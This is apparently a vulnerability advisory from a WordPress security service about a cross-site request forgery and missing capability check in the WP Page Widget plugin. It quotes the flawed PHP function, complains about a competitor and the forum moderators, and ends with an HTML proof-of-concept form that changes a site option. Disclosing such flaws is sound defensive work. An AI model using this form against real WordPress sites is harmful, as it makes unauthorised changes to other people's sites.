31 Oct 2022

Authenticated Settings Change Vulnerability in WP Page Widget

Last week the WordPress plugin WP Page Widget was closed on the WordPress Plugin Directory. As that plugin is one of the 1,000 most popular plugins, we were alerted to its closure. No reason has been given for the closure. But there is a security issue in the latest version.

About a month ago a competitor of ours, Patchstack, claimed a cross-site request forgery (CSRF) vulnerability had been fixed in the latest version of the plugin. They didn’t provide basic information needed to confirm the claim, as the “details” given are:

Cross-Site Request Forgery (CSRF) vulnerability was discovered by Muhammad Daffa (Patchstack Alliance) in the WordPress WP Page Widget plugin (versions <= 3.9).

They have a history of making, at best, huge mistakes with claims of vulnerabilities and them being fixed. In this case, there was an instance of that issue fixed in the stated version, but Patchstack missed that the issue had only be partially fixed. If they had provided additional details, it would have been easier to check on that and catch what they missed.

The plugin makes the function pw_ajax_toggle_customize(), which is located in the file ~/Sites/wordpress/wp-content/plugins/wp-page-widget/wp-page-widgets.php, accessible to anyone logged in to WordPress through its AJAX functionality:

27
add_action('wp_ajax_pw-toggle-customize', 'pw_ajax_toggle_customize');

That function is intended to be called from one the plugin’s settings pages.

That function should include a nonce check to prevent CSRF, but it doesn’t:

1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
function pw_ajax_toggle_customize() {
	$status = stripslashes($_POST['pw-customize-sidebars']);
	$post_id = (int) $_POST['post_id'];
 
	$search_page = $_POST['search_page'];
 
	$tag_id = (int) $_POST['tag_id'];
	$taxonomy = $_POST['taxonomy'];
 
	if (!in_array($status, array('yes', 'no')))
		$status = 'no';
 
	if (!empty($post_id)) {
		$post_type = get_post_type($post_id);
		$post_type_object = get_post_type_object($post_type);
 
		if (current_user_can($post_type_object-&gt;cap-&gt;edit_posts)) {
			update_post_meta($post_id, '_customize_sidebars', $status);
			echo 1;
		}
	}
 
	// For search page
	else if (!empty($search_page)) {
		update_option('_pw_search_page', $status);
		_e('Updated search page option.', 'wp-page-widgets');
	}
 
	// For taxonomy page
	else {
		$objTaxonomy = get_taxonomy($taxonomy);
		if (current_user_can($objTaxonomy-&gt;cap-&gt;edit_terms)) {
			$taxonomyMetaData = getTaxonomyMetaData($taxonomy, $tag_id);
			$taxonomyMetaData['_customize_sidebars'] = $status;
			updateTaxonomiesMetaData($taxonomy, $tag_id, $taxonomyMetaData);
			echo 1;
		}
	}
 
	exit(0);
}

In addition to a lack of a nonce check, the middle portion (under the comment “For search page”) doesn’t include a capabilities check, so anyone logged in to WordPress could change that setting.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions of installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Proof of Concept

The following proof of concept will change the value of the _pw_search_page WordPress option to “no”, when logged in to WordPress.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=pw-toggle-customize" method="POST">
<input type="hidden" name="pw-customize-sidebars" value="no" />
<input type="hidden" name="search_page" value="search_page" />
<input type="submit" name="img" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Plugin Security Scorecard Grade for Patchstack

Checked on March 5, 2025
D

See issues causing the plugin to get less than A+ grade

Leave a Reply

Your email address will not be published. Required fields are marked *